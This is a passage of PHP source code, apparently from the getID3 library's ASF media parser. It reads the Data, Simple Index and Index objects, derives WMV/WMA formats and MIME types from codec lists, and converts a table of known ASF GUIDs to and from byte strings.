			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($NextObjectDataHeader, $offset, 8));
			$offset += 8;

			switch ($NextObjectGUID) {
				case GETID3_ASF_Data_Object:
					// Data Object: (mandatory, one only)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for Data object - GETID3_ASF_Data_Object
					// Object Size                      QWORD        64              // size of Data object, including 50 bytes of Data Object header. may be 0 if FilePropertiesObject.BroadcastFlag == 1
					// File ID                          GUID         128             // unique identifier. identical to File ID field in Header Object
					// Total Data Packets               QWORD        64              // number of Data Packet entries in Data Object. invalid if FilePropertiesObject.BroadcastFlag == 1
					// Reserved                         WORD         16              // hardcoded: 0x0101

					// shortcut
					$thisfile_asf['data_object'] = array();
					$thisfile_asf_dataobject     = &$thisfile_asf['data_object'];

					$DataObjectData = $NextObjectDataHeader.$this->fread(50 - 24);
					$offset = 24;

					$thisfile_asf_dataobject['objectid']           = $NextObjectGUID;
					$thisfile_asf_dataobject['objectid_guid']      = $NextObjectGUIDtext;
					$thisfile_asf_dataobject['objectsize']         = $NextObjectSize;

					$thisfile_asf_dataobject['fileid']             = substr($DataObjectData, $offset, 16);
					$offset += 16;
					$thisfile_asf_dataobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_dataobject['fileid']);
					$thisfile_asf_dataobject['total_data_packets'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 8));
					$offset += 8;
					$thisfile_asf_dataobject['reserved']           = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_dataobject['reserved'] != 0x0101) {
						$this->warning('data_object.reserved ('.getid3_lib::PrintHexBytes($thisfile_asf_dataobject['reserved']).') does not match expected value of "0x0101"');
						//return false;
						break;
					}

					// Data Packets                     array of:    variable        //
					// * Error Correction Flags         BYTE         8               //
					// * * Error Correction Data Length bits         4               // if Error Correction Length Type == 00, size of Error Correction Data in bytes, else hardcoded: 0000
					// * * Opaque Data Present          bits         1               //
					// * * Error Correction Length Type bits         2               // number of bits for size of the error correction data. hardcoded: 00
					// * * Error Correction Present     bits         1               // If set, use Opaque Data Packet structure, else use Payload structure
					// * Error Correction Data

					$info['avdataoffset'] = $this->ftell();
					$this->fseek(($thisfile_asf_dataobject['objectsize'] - 50), SEEK_CUR); // skip actual audio/video data
					$info['avdataend'] = $this->ftell();
					break;

				case GETID3_ASF_Simple_Index_Object:
					// Simple Index Object: (optional, recommended, one per video stream)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for Simple Index object - GETID3_ASF_Data_Object
					// Object Size                      QWORD        64              // size of Simple Index object, including 56 bytes of Simple Index Object header
					// File ID                          GUID         128             // unique identifier. may be zero or identical to File ID field in Data Object and Header Object
					// Index Entry Time Interval        QWORD        64              // interval between index entries in 100-nanosecond units
					// Maximum Packet Count             DWORD        32              // maximum packet count for all index entries
					// Index Entries Count              DWORD        32              // number of Index Entries structures
					// Index Entries                    array of:    variable        //
					// * Packet Number                  DWORD        32              // number of the Data Packet associated with this index entry
					// * Packet Count                   WORD         16              // number of Data Packets to sent at this index entry

					// shortcut
					$thisfile_asf['simple_index_object'] = array();
					$thisfile_asf_simpleindexobject      = &$thisfile_asf['simple_index_object'];

					$SimpleIndexObjectData = $NextObjectDataHeader.$this->fread(56 - 24);
					$offset = 24;

					$thisfile_asf_simpleindexobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_simpleindexobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_simpleindexobject['objectsize']                = $NextObjectSize;

					$thisfile_asf_simpleindexobject['fileid']                    =                  substr($SimpleIndexObjectData, $offset, 16);
					$offset += 16;
					$thisfile_asf_simpleindexobject['fileid_guid']               = $this->BytestringToGUID($thisfile_asf_simpleindexobject['fileid']);
					$thisfile_asf_simpleindexobject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 8));
					$offset += 8;
					$thisfile_asf_simpleindexobject['maximum_packet_count']      = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
					$offset += 4;
					$thisfile_asf_simpleindexobject['index_entries_count']       = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
					$offset += 4;

					$IndexEntriesData = $SimpleIndexObjectData.$this->fread(6 * $thisfile_asf_simpleindexobject['index_entries_count']);
					for ($IndexEntriesCounter = 0; $IndexEntriesCounter < $thisfile_asf_simpleindexobject['index_entries_count']; $IndexEntriesCounter++) {
						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_number'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
						$offset += 4;
						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_count']  = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
						$offset += 2;
					}

					break;

				case GETID3_ASF_Index_Object:
					// 6.2 ASF top-level Index Object (optional but recommended when appropriate, 0 or 1)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for the Index Object - GETID3_ASF_Index_Object
					// Object Size                      QWORD        64              // Specifies the size, in bytes, of the Index Object, including at least 34 bytes of Index Object header
					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between each index entry in ms.
					// Index Specifiers Count           WORD         16              // Specifies the number of Index Specifiers structures in this Index Object.
					// Index Blocks Count               DWORD        32              // Specifies the number of Index Blocks structures in this Index Object.

					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between index entries in milliseconds.  This value cannot be 0.
					// Index Specifiers Count           WORD         16              // Specifies the number of entries in the Index Specifiers list.  Valid values are 1 and greater.
					// Index Specifiers                 array of:    varies          //
					// * Stream Number                  WORD         16              // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127.
					// * Index Type                     WORD         16              // Specifies Index Type values as follows:
																					//   1 = Nearest Past Data Packet - indexes point to the data packet whose presentation time is closest to the index entry time.
																					//   2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire object or first fragment of an object.
																					//   3 = Nearest Past Cleanpoint. - indexes point to the closest data packet containing an entire object (or first fragment of an object) that has the Cleanpoint Flag set.
																					//   Nearest Past Cleanpoint is the most common type of index.
					// Index Entry Count                DWORD        32              // Specifies the number of Index Entries in the block.
					// * Block Positions                QWORD        varies          // Specifies a list of byte offsets of the beginnings of the blocks relative to the beginning of the first Data Packet (i.e., the beginning of the Data Object + 50 bytes). The number of entries in this list is specified by the value of the Index Specifiers Count field. The order of those byte offsets is tied to the order in which Index Specifiers are listed.
					// * Index Entries                  array of:    varies          //
					// * * Offsets                      DWORD        varies          // An offset value of 0xffffffff indicates an invalid offset value

					// shortcut
					$thisfile_asf['asf_index_object'] = array();
					$thisfile_asf_asfindexobject      = &$thisfile_asf['asf_index_object'];

					$ASFIndexObjectData = $NextObjectDataHeader.$this->fread(34 - 24);
					$offset = 24;

					$thisfile_asf_asfindexobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_asfindexobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_asfindexobject['objectsize']                = $NextObjectSize;

					$thisfile_asf_asfindexobject['entry_time_interval']       = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					$offset += 4;
					$thisfile_asf_asfindexobject['index_specifiers_count']    = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
					$offset += 2;
					$thisfile_asf_asfindexobject['index_blocks_count']        = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					$offset += 4;

					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count']);
					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
						$IndexSpecifierStreamNumber = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
						$offset += 2;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['stream_number']   = $IndexSpecifierStreamNumber;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']      = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
						$offset += 2;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type_text'] = $this->ASFIndexObjectIndexTypeLookup($thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']);
					}

					$ASFIndexObjectData .= $this->fread(4);
					$thisfile_asf_asfindexobject['index_entry_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					$offset += 4;

					$ASFIndexObjectData .= $this->fread(8 * $thisfile_asf_asfindexobject['index_specifiers_count']);
					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
						$thisfile_asf_asfindexobject['block_positions'][$IndexSpecifiersCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 8));
						$offset += 8;
					}

					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count'] * $thisfile_asf_asfindexobject['index_entry_count']);
					for ($IndexEntryCounter = 0; $IndexEntryCounter < $thisfile_asf_asfindexobject['index_entry_count']; $IndexEntryCounter++) {
						for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
							$thisfile_asf_asfindexobject['offsets'][$IndexSpecifiersCounter][$IndexEntryCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
							$offset += 4;
						}
					}
					break;


				default:
					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
					if ($this->GUIDname($NextObjectGUIDtext)) {
						$this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF body at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF body at offset '.($this->ftell() - 16 - 8));
					}
					$this->fseek(($NextObjectSize - 16 - 8), SEEK_CUR);
					break;
			}
		}

		if (isset($thisfile_asf_codeclistobject['codec_entries']) && is_array($thisfile_asf_codeclistobject['codec_entries'])) {
			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
				switch ($streamdata['information']) {
					case 'WMV1':
					case 'WMV2':
					case 'WMV3':
					case 'MSS1':
					case 'MSS2':
					case 'WMVA':
					case 'WVC1':
					case 'WMVP':
					case 'WVP2':
						$thisfile_video['dataformat'] = 'wmv';
						$info['mime_type'] = 'video/x-ms-wmv';
						break;

					case 'MP42':
					case 'MP43':
					case 'MP4S':
					case 'mp4s':
						$thisfile_video['dataformat'] = 'asf';
						$info['mime_type'] = 'video/x-ms-asf';
						break;

					default:
						switch ($streamdata['type_raw']) {
							case 1:
								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
									$thisfile_video['dataformat'] = 'wmv';
									if ($info['mime_type'] == 'video/x-ms-asf') {
										$info['mime_type'] = 'video/x-ms-wmv';
									}
								}
								break;

							case 2:
								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
									$thisfile_audio['dataformat'] = 'wma';
									if ($info['mime_type'] == 'video/x-ms-asf') {
										$info['mime_type'] = 'audio/x-ms-wma';
									}
								}
								break;

						}
						break;
				}
			}
		}

		switch (isset($thisfile_audio['codec']) ? $thisfile_audio['codec'] : '') {
			case 'MPEG Layer-3':
				$thisfile_audio['dataformat'] = 'mp3';
				break;

			default:
				break;
		}

		if (isset($thisfile_asf_codeclistobject['codec_entries'])) {
			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
				switch ($streamdata['type_raw']) {

					case 1: // video
						$thisfile_video['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);
						break;

					case 2: // audio
						$thisfile_audio['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);

						// AH 2003-10-01
						$thisfile_audio['encoder_options'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][0]['description']);

						$thisfile_audio['codec']   = $thisfile_audio['encoder'];
						break;

					default:
						$this->warning('Unknown streamtype: [codec_list_object][codec_entries]['.$streamnumber.'][type_raw] == '.$streamdata['type_raw']);
						break;

				}
			}
		}

		if (isset($info['audio'])) {
			$thisfile_audio['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
			$thisfile_audio['dataformat']         = (!empty($thisfile_audio['dataformat'])        ? $thisfile_audio['dataformat']         : 'asf');
		}
		if (!empty($thisfile_video['dataformat'])) {
			$thisfile_video['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
			$thisfile_video['pixel_aspect_ratio'] = (isset($thisfile_audio['pixel_aspect_ratio']) ? $thisfile_audio['pixel_aspect_ratio'] : (float) 1);
			$thisfile_video['dataformat']         = (!empty($thisfile_video['dataformat'])        ? $thisfile_video['dataformat']         : 'asf');
		}
		if (!empty($thisfile_video['streams'])) {
			$thisfile_video['resolution_x'] = 0;
			$thisfile_video['resolution_y'] = 0;
			foreach ($thisfile_video['streams'] as $key => $valuearray) {
				if (($valuearray['resolution_x'] > $thisfile_video['resolution_x']) || ($valuearray['resolution_y'] > $thisfile_video['resolution_y'])) {
					$thisfile_video['resolution_x'] = $valuearray['resolution_x'];
					$thisfile_video['resolution_y'] = $valuearray['resolution_y'];
				}
			}
		}
		$info['bitrate'] = (isset($thisfile_audio['bitrate']) ? $thisfile_audio['bitrate'] : 0) + (isset($thisfile_video['bitrate']) ? $thisfile_video['bitrate'] : 0);

		if ((!isset($info['playtime_seconds']) || ($info['playtime_seconds'] <= 0)) && ($info['bitrate'] > 0)) {
			$info['playtime_seconds'] = ($info['filesize'] - $info['avdataoffset']) / ($info['bitrate'] / 8);
		}

		return true;
	}

	public static function codecListObjectTypeLookup($CodecListType) {
		static $lookup = array(
			0x0001 => 'Video Codec',
			0x0002 => 'Audio Codec',
			0xFFFF => 'Unknown Codec'
		);

		return (isset($lookup[$CodecListType]) ? $lookup[$CodecListType] : 'Invalid Codec Type');
	}

	public static function KnownGUIDs() {
		static $GUIDarray = array(
			'GETID3_ASF_Extended_Stream_Properties_Object'   => '14E6A5CB-C672-4332-8399-A96952065B5A',
			'GETID3_ASF_Padding_Object'                      => '1806D474-CADF-4509-A4BA-9AABCB96AAE8',
			'GETID3_ASF_Payload_Ext_Syst_Pixel_Aspect_Ratio' => '1B1EE554-F9EA-4BC8-821A-376B74E4C4B8',
			'GETID3_ASF_Script_Command_Object'               => '1EFB1A30-0B62-11D0-A39B-00A0C90348F6',
			'GETID3_ASF_No_Error_Correction'                 => '20FB5700-5B55-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Content_Branding_Object'             => '2211B3FA-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Content_Encryption_Object'           => '2211B3FB-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Digital_Signature_Object'            => '2211B3FC-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Extended_Content_Encryption_Object'  => '298AE614-2622-4C17-B935-DAE07EE9289C',
			'GETID3_ASF_Simple_Index_Object'                 => '33000890-E5B1-11CF-89F4-00A0C90349CB',
			'GETID3_ASF_Degradable_JPEG_Media'               => '35907DE0-E415-11CF-A917-00805F5C442B',
			'GETID3_ASF_Payload_Extension_System_Timecode'   => '399595EC-8667-4E2D-8FDB-98814CE76C1E',
			'GETID3_ASF_Binary_Media'                        => '3AFB65E2-47EF-40F2-AC2C-70A90D71D343',
			'GETID3_ASF_Timecode_Index_Object'               => '3CB73FD0-0C4A-4803-953D-EDF7B6228F0C',
			'GETID3_ASF_Metadata_Library_Object'             => '44231C94-9498-49D1-A141-1D134E457054',
			'GETID3_ASF_Reserved_3'                          => '4B1ACBE3-100B-11D0-A39B-00A0C90348F6',
			'GETID3_ASF_Reserved_4'                          => '4CFEDB20-75F6-11CF-9C0F-00A0C90349CB',
			'GETID3_ASF_Command_Media'                       => '59DACFC0-59E6-11D0-A3AC-00A0C90348F6',
			'GETID3_ASF_Header_Extension_Object'             => '5FBF03B5-A92E-11CF-8EE3-00C00C205365',
			'GETID3_ASF_Media_Object_Index_Parameters_Obj'   => '6B203BAD-3F11-4E84-ACA8-D7613DE2CFA7',
			'GETID3_ASF_Header_Object'                       => '75B22630-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Content_Description_Object'          => '75B22633-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Error_Correction_Object'             => '75B22635-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Data_Object'                         => '75B22636-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Web_Stream_Media_Subtype'            => '776257D4-C627-41CB-8F81-7AC7FF1C40CC',
			'GETID3_ASF_Stream_Bitrate_Properties_Object'    => '7BF875CE-468D-11D1-8D82-006097C9A2B2',
			'GETID3_ASF_Language_List_Object'                => '7C4346A9-EFE0-4BFC-B229-393EDE415C85',
			'GETID3_ASF_Codec_List_Object'                   => '86D15240-311D-11D0-A3A4-00A0C90348F6',
			'GETID3_ASF_Reserved_2'                          => '86D15241-311D-11D0-A3A4-00A0C90348F6',
			'GETID3_ASF_File_Properties_Object'              => '8CABDCA1-A947-11CF-8EE4-00C00C205365',
			'GETID3_ASF_File_Transfer_Media'                 => '91BD222C-F21C-497A-8B6D-5AA86BFC0185',
			'GETID3_ASF_Old_RTP_Extension_Data'              => '96800C63-4C94-11D1-837B-0080C7A37F95',
			'GETID3_ASF_Advanced_Mutual_Exclusion_Object'    => 'A08649CF-4775-4670-8A16-6E35357566CD',
			'GETID3_ASF_Bandwidth_Sharing_Object'            => 'A69609E6-517B-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_Reserved_1'                          => 'ABD3D211-A9BA-11cf-8EE6-00C00C205365',
			'GETID3_ASF_Bandwidth_Sharing_Exclusive'         => 'AF6060AA-5197-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_Bandwidth_Sharing_Partial'           => 'AF6060AB-5197-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_JFIF_Media'                          => 'B61BE100-5B4E-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Stream_Properties_Object'            => 'B7DC0791-A9B7-11CF-8EE6-00C00C205365',
			'GETID3_ASF_Video_Media'                         => 'BC19EFC0-5B4D-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Audio_Spread'                        => 'BFC3CD50-618F-11CF-8BB2-00AA00B4E220',
			'GETID3_ASF_Metadata_Object'                     => 'C5F8CBEA-5BAF-4877-8467-AA8C44FA4CCA',
			'GETID3_ASF_Payload_Ext_Syst_Sample_Duration'    => 'C6BD9450-867F-4907-83A3-C77921B733AD',
			'GETID3_ASF_Group_Mutual_Exclusion_Object'       => 'D1465A40-5A79-4338-B71B-E36B8FD6C249',
			'GETID3_ASF_Extended_Content_Description_Object' => 'D2D0A440-E307-11D2-97F0-00A0C95EA850',
			'GETID3_ASF_Stream_Prioritization_Object'        => 'D4FED15B-88D3-454F-81F0-ED5C45999E24',
			'GETID3_ASF_Payload_Ext_System_Content_Type'     => 'D590DC20-07BC-436C-9CF7-F3BBFBF1A4DC',
			'GETID3_ASF_Old_File_Properties_Object'          => 'D6E229D0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Header_Object'               => 'D6E229D1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Data_Object'                 => 'D6E229D2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Index_Object'                        => 'D6E229D3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Stream_Properties_Object'        => 'D6E229D4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Content_Description_Object'      => 'D6E229D5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Script_Command_Object'           => 'D6E229D6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Marker_Object'                   => 'D6E229D7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Component_Download_Object'       => 'D6E229D8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Stream_Group_Object'             => 'D6E229D9-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Scalable_Object'                 => 'D6E229DA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Prioritization_Object'           => 'D6E229DB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Bitrate_Mutual_Exclusion_Object'     => 'D6E229DC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Inter_Media_Dependency_Object'   => 'D6E229DD-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Rating_Object'                   => 'D6E229DE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Index_Parameters_Object'             => 'D6E229DF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Color_Table_Object'              => 'D6E229E0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Language_List_Object'            => 'D6E229E1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Audio_Media'                     => 'D6E229E2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Video_Media'                     => 'D6E229E3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Image_Media'                     => 'D6E229E4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Timecode_Media'                  => 'D6E229E5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Text_Media'                      => 'D6E229E6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_MIDI_Media'                      => 'D6E229E7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Command_Media'                   => 'D6E229E8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Error_Concealment'            => 'D6E229EA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Scrambled_Audio'                 => 'D6E229EB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Color_Table'                  => 'D6E229EC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_SMPTE_Time'                      => 'D6E229ED-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASCII_Text'                      => 'D6E229EE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Unicode_Text'                    => 'D6E229EF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_HTML_Text'                       => 'D6E229F0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_URL_Command'                     => 'D6E229F1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Filename_Command'                => 'D6E229F2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ACM_Codec'                       => 'D6E229F3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_VCM_Codec'                       => 'D6E229F4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_QuickTime_Codec'                 => 'D6E229F5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_DirectShow_Transform_Filter'     => 'D6E229F6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_DirectShow_Rendering_Filter'     => 'D6E229F7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Enhancement'                  => 'D6E229F8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Unknown_Enhancement_Type'        => 'D6E229F9-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Temporal_Enhancement'            => 'D6E229FA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Spatial_Enhancement'             => 'D6E229FB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Quality_Enhancement'             => 'D6E229FC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Number_of_Channels_Enhancement'  => 'D6E229FD-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Frequency_Response_Enhancement'  => 'D6E229FE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Media_Object'                    => 'D6E229FF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Language'                      => 'D6E22A00-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Bitrate'                       => 'D6E22A01-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Unknown'                       => 'D6E22A02-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Placeholder_Object'          => 'D6E22A0E-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Data_Unit_Extension_Object'      => 'D6E22A0F-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Web_Stream_Format'                   => 'DA1E6B13-8359-4050-B398-388E965BF00C',
			'GETID3_ASF_Payload_Ext_System_File_Name'        => 'E165EC0E-19ED-45D7-B4A7-25CBD1E28E9B',
			'GETID3_ASF_Marker_Object'                       => 'F487CD01-A951-11CF-8EE6-00C00C205365',
			'GETID3_ASF_Timecode_Index_Parameters_Object'    => 'F55E496D-9797-4B5D-8C8B-604DFE9BFB24',
			'GETID3_ASF_Audio_Media'                         => 'F8699E40-5B4D-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Media_Object_Index_Object'           => 'FEB103F8-12AD-4C64-840F-2A1D2F7AD48C',
			'GETID3_ASF_Alt_Extended_Content_Encryption_Obj' => 'FF889EF1-ADEE-40DA-9E71-98704BB928CE',
			'GETID3_ASF_Index_Placeholder_Object'            => 'D9AADE20-7C17-4F9C-BC28-8555DD98E2A2', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html
			'GETID3_ASF_Compatibility_Object'                => '26F18B5D-4584-47EC-9F5F-0E651F0452C9', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html
		);
		return $GUIDarray;
	}

	public static function GUIDname($GUIDstring) {
		static $GUIDarray = array();
		if (empty($GUIDarray)) {
			$GUIDarray = self::KnownGUIDs();
		}
		return array_search($GUIDstring, $GUIDarray);
	}

	public static function ASFIndexObjectIndexTypeLookup($id) {
		static $ASFIndexObjectIndexTypeLookup = array();
		if (empty($ASFIndexObjectIndexTypeLookup)) {
			$ASFIndexObjectIndexTypeLookup[1] = 'Nearest Past Data Packet';
			$ASFIndexObjectIndexTypeLookup[2] = 'Nearest Past Media Object';
			$ASFIndexObjectIndexTypeLookup[3] = 'Nearest Past Cleanpoint';
		}
		return (isset($ASFIndexObjectIndexTypeLookup[$id]) ? $ASFIndexObjectIndexTypeLookup[$id] : 'invalid');
	}

	public static function GUIDtoBytestring($GUIDstring) {
		// Microsoft defines these 16-byte (128-bit) GUIDs in the strangest way:
		// first 4 bytes are in little-endian order
		// next 2 bytes are appended in little-endian order
		// next 2 bytes are appended in little-endian order
		// next 2 bytes are appended in big-endian order
		// next 6 bytes are appended in big-endian order

		// AaBbCcDd-EeFf-GgHh-IiJj-KkLlMmNnOoPp is stored as this 16-byte string:
		// $Dd $Cc $Bb $Aa $Ff $Ee $Hh $Gg $Ii $Jj $Kk $Ll $Mm $Nn $Oo $Pp

		$hexbytecharstring  = chr(hexdec(substr($GUIDstring,  6, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  4, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  2, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  0, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 11, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  9, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 16, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 14, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 19, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 21, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 24, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 26, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 28, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 30, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 32, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 34, 2)));

		return $hexbytecharstring;
	}

	public static function BytestringToGUID($Bytestring) {
		$GUIDstring  = str_pad(dechex(ord($Bytestring{3})),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring{2})),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring{1})),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring{0})),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring{5})),  2, '0', STR_PAD_LEFT);
